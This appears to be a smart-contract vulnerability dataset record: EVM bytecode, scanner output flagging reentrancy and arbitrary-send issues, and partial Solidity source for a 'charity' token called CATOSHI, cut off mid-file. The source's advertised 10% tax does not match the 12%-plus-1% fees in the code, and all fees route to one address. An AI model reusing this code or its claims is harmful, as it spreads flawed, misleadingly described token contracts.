ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b9050600061383182613823858761358c90919063ffffffff16565b61358c90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061385d613858846141f5565b6141d0565b9050808382526020820190508285602086028201111561387c57600080fd5b60005b858110156138ac578161389288826138b6565b84526020840193506020830192505060018101905061387f565b5050509392505050565b6000813590506138c5816148d1565b92915050565b6000815190506138da816148d1565b92915050565b600082601f8301126138f157600080fd5b813561390184826020860161384a565b91505092915050565b600081359050613919816148e8565b92915050565b60008151905061392e816148e8565b92915050565b600081359050613943816148ff565b92915050565b600081519050613958816148ff565b92915050565b60006020828403121561397057600080fd5b600061397e848285016138b6565b91505092915050565b60006020828403121561399957600080fd5b60006139a7848285016138cb565b91505092915050565b600080604083850312156139c357600080fd5b60006139d1858286016138b6565b92505060206139e2858286016138b6565b9150509250929050565b600080600060608486031215613a0157600080fd5b6000613a0f868287016138b6565b9350506020613a20868287016138b6565b9250506040613a3186828701613934565b9150509250925092565b60008060408385031215613a4e57600080fd5b6000613a5c858286016138b6565b9250506020613a6d85828601613934565b9150509250929050565b600060208284031215613a8957600080fd5b600082013567ffffffffffffffff811115613aa357600080fd5b613aaf848285016138e0565b91505092915050565b600060208284031215613aca57600080fd5b6000613ad88482850161390a565b91505092915050565b600060208284031215613af357600080fd5b6000613b018482850161391f565b91505092915050565b600060208284031215613b1c57600080fd5b6000613b2a84828501613934565b91505092915050565b600080600060608486031215613b4857600080fd5b6000613b5686828701613949565b9350506020613b6786828701613949565b9250506040613b7886828701613949565b9150509250925092565b6000613b8e8383613b9a565b60208301905092915050565b613ba38161438b565b82525050565b613bb28161438b565b82525050565b6000613bc382614231565b613bcd8185614254565b9350613bd883614221565b8060005b83811015613c09578151613bf08882613b82565b9750613bfb83614247565b925050600181019050613bdc565b5085935050505092915050565b613c1f8161439d565b82525050565b613c2e816143e0565b82525050565b6000613c3f8261423c565b613c498185614265565b9350613c598185602086016143f2565b613c628161452c565b840191505092915050565b6000613c7a602383614265565b9150613c858261453d565b604082019050919050565b6000613c9d602a83614265565b9150613ca88261458c565b604082019050919050565b6000613cc0602283614265565b9150613ccb826145db565b604082019050919050565b6000613ce3602283614265565b9150613cee8261462a565b604082019050919050565b6000613d06601b83614265565b9150613d1182614679565b602082019050919050565b6000613d29601583614265565b9150613d34826146a2565b602082019050919050565b6000613d4c602383614265565b9150613d57826146cb565b604082019050919050565b6000613d6f602183614265565b9150613d7a8261471a565b604082019050919050565b6000613d92602083614265565b9150613d9d82614769565b602082019050919050565b6000613db5602983614265565b9150613dc082614792565b604082019050919050565b6000613dd8602583614265565b9150613de3826147e1565b604082019050919050565b6000613dfb602483614265565b9150613e0682614830565b604082019050919050565b6000613e1e601783614265565b9150613e298261487f565b602082019050919050565b6000613e41601883614265565b9150613e4c826148a8565b602082019050919050565b613e60816143c9565b82525050565b613e6f816143d3565b82525050565b6000602082019050613e8a6000830184613ba9565b92915050565b6000604082019050613ea56000830185613ba9565b613eb26020830184613ba9565b9392505050565b6000604082019050613ece6000830185613ba9565b613edb6020830184613e57565b9392505050565b600060c082019050613ef76000830189613ba9565b613f046020830188613e57565b613f116040830187613c25565b613f1e6060830186613c25565b613f2b6080830185613ba9565b613f3860a0830184613e57565b979650505050505050565b6000602082019050613f586000830184613c16565b92915050565b60006020820190508181036000830152613f788184613c34565b905092915050565b60006020820190508181036000830152613f9981613c6d565b9050919050565b60006020820190508181036000830152613fb981613c90565b9050919050565b60006020820190508181036000830152613fd981613cb3565b9050919050565b60006020820190508181036000830152613ff981613cd6565b9050919050565b6000602082019050818103600083015261401981613cf9565b9050919050565b6000602082019050818103600083015261403981613d1c565b9050919050565b6000602082019050818103600083015261405981613d3f565b9050919050565b6000602082019050818103600083015261407981613d62565b9050919050565b6000602082019050818103600083015261409981613d85565b9050919050565b600060208201905081810360008301526140b981613da8565b9050919050565b600060208201905081810360008301526140d981613dcb565b9050919050565b600060208201905081810360008301526140f981613dee565b9050919050565b6000602082019050818103600083015261411981613e11565b9050919050565b6000602082019050818103600083015261413981613e34565b9050919050565b60006020820190506141556000830184613e57565b92915050565b600060a0820190506141706000830188613e57565b61417d6020830187613c25565b818103604083015261418f8186613bb8565b905061419e6060830185613ba9565b6141ab6080830184613e57565b9695505050505050565b60006020820190506141ca6000830184613e66565b92915050565b60006141da6141eb565b90506141e68282614425565b919050565b6000604051905090565b600067ffffffffffffffff8211156142105761420f6144fd565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000614281826143c9565b915061428c836143c9565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156142c1576142c061449f565b5b828201905092915050565b60006142d7826143c9565b91506142e2836143c9565b9250826142f2576142f16144ce565b5b828204905092915050565b6000614308826143c9565b9150614313836143c9565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561434c5761434b61449f565b5b828202905092915050565b6000614362826143c9565b915061436d836143c9565b9250828210156143805761437f61449f565b5b828203905092915050565b6000614396826143a9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006143eb826143c9565b9050919050565b60005b838110156144105780820151818401526020810190506143f5565b8381111561441f576000848401525b50505050565b61442e8261452c565b810181811067ffffffffffffffff8211171561444d5761444c6144fd565b5b80604052505050565b6000614461826143c9565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156144945761449361449f565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6148da8161438b565b81146148e557600080fd5b50565b6148f18161439d565b81146148fc57600080fd5b50565b614908816143c9565b811461491357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203fd71588a4156241a353b4bf40b727d8c8f9cf860123db162f00bbb969b97a3e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,377 |
0x74C1c2C0460166a77b2a259cC549Fa0b59d38627
|
/**
*Submitted for verification at Etherscan.io on 2022-03-10
*/
/**
*/
/*
CATOSHI
On Ethereum Smart Chain
Welcome to Catoshi! A Charity token that aims to help stray Cats from all over the world.
Our goal is to raise enough money to help rescue 1,000 cats worldwide through charitable donations.
Total Tax 10%
1% Reflection
3% Marketing
3% Chartiable Donation
3% Goes to Liquidity Pool
Telegram : https://t.me/Catoshi_ERC
*/
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract CATOSHI is Context, IERC20, Ownable {///////////////////////////////////////////////////////////
using SafeMath for uint256;
string private constant _name = "CATOSHI";//////////////////////////
string private constant _symbol = "CATOSHI";//////////////////////////////////////////////////////////////////////////
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnBuy = 12;//////////////////////////////////////////////////////////////////////
//Sell Fee
uint256 private _redisFeeOnSell = 1;/////////////////////////////////////////////////////////////////////
uint256 private _taxFeeOnSell = 12;/////////////////////////////////////////////////////////////////////
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x1D1B4Ad11BA8a457036604cEfa161E48cc8E5d02);/////////////////////////////////////////////////
address payable private _marketingAddress = payable(0x1D1B4Ad11BA8a457036604cEfa161E48cc8E5d02);///////////////////////////////////////////////////
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 100000 * 10**9; //1%
uint256 public _maxWalletSize = 200000 * 10**9; //1%
uint256 public _swapTokensAtAmount = 40000 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);/////////////////////////////////////////////////
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
